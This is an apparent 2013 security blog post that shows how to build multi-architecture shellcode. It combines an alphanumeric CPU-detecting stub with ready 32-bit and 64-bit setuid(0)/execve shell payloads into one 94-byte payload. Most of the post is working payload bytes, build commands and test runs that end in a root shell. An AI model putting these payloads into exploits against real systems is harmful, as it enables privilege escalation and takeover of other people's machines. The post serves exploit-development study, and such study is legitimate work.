Thursday, August 29, 2013

Building multi-architecture shellcode with shellcodecs

Earlier when I documented alphanumeric shellcode I released a stub that allows you to determine the x86 cpu architecture that I called a 'getcpu'. Using a few tools from shellcodecs, I was able to combine it with a couple of other shellcodes and test the compatibility locally.

Building a 32-bit shellcode loader on a multilib system

The first thing I did was take the 32-bit loader found in shellcodecs and built it on my 64-bit system to get a decent test environment going.
root@box:~/Downloads/shellcode/loaders# as --32 loader-32.s -o loader-32.o
root@box:~/Downloads/shellcode/loaders# ld -m elf_i386 loader-32.o -o loader-32

Initial codes

I picked out two setuid(0); execve('/bin/bash',null,null) shellcodes: a 32-bit shellcode used in our buffer overflow wiki, and the 64-bit version that I wrote for shellcodecs, giving us the three portions of code below.
  • The getCPU stub:
    TX4HPZTAZAYVH92
    
  • The 32-bit payload:
    \xeb\x1f\x5e\x89\x76\x08
    \x31\xc0\x88\x46\x07\x89
    \x46\x0c\xb0\x0b\x89\xf3
    \x8d\x4e\x08\x8d\x56\x0c
    \xcd\x80\x31\xdb\x89\xd8
    \x40\xcd\x80\xe8\xdc\xff
    \xff\xff/bin/sh
    
  • The 64-bit payload:
    \x48\x31\xff\x6a\x69\x58
    \x0f\x05\x57\x57\x5e\x5a
    \x6a\x68\x48\xb8\x2f\x62
    \x69\x6e\x2f\x62\x61\x73
    \x50\x54\x5f\x6a\x3b\x58
    \x0f\x05
    
I got the 64-bit payload using the following command from a compiled shellcodecs installation:
generators/shellcode-generator.py --file null-free/setuid_binsh --hex

Tying them together

The 64-bit payload is 32 bytes. In hex, this is represented with 0x20 or \x20. Because the getCPU sets the zflag on 32-bit and doesn't on 64-bit, I took the GetCPU and added a conditional jump if equal 0x20 ("t\x20"):
TX4HPZTAZAYVH92t\x20
The idea here is that if its on a 32-bit system, it will jump over the 64-bit payload and execute the 32-bit system. If its on a 64-bit system, it will execute the 64-bit code without continuing to the 32-bit code because execve() is blocking. I appended the 64-bit payload, followed by the 32-bit payload to our altered getCPU with the conditional jump:
TX4HPZTAZAYVH92t\x20
\x48\x31\xff\x6a\x69
\x58\x0f\x05\x57\x57
\x5e\x5a\x6a\x68\x48
\xb8\x2f\x62\x69\x6e
\x2f\x62\x61\x73\x50
\x54\x5f\x6a\x3b\x58
\x0f\x05\xeb\x1f\x5e
\x89\x76\x08\x31\xc0
\x88\x46\x07\x89\x46
\x0c\xb0\x0b\x89\xf3
\x8d\x4e\x08\x8d\x56
\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd\x80
\xe8\xdc\xff\xff\xff
/bin/sh
This comes out to 94 bytes.

Testing the shellcode

  • On 32-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-32 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # exit
    
  • On 64-bit:
    root@box:~/Downloads/shellcode/loaders# ./loader-64 "$(echo -en "TX4HPZTAZAYVH92t\x20\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61\x73\x50\x54\x5f\x6a\x3b\x58\x0f\x05\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")"
    root@box:/home/hats/Downloads/shellcode/loaders# id
    uid=0(root) gid=0(root) groups=0(root)
    root@box:/home/hats/Downloads/shellcode/loaders# exit
    exit
    
This same tricks works for windows shellcodes as well, the getCPU stub does not interfere with operating system internals or cause exceptions to be raised.

1 comment:

  1. Part 2:

    http://www.chokepoint.net/2013/09/building-multiplatform-shellcode-header.html

    ReplyDelete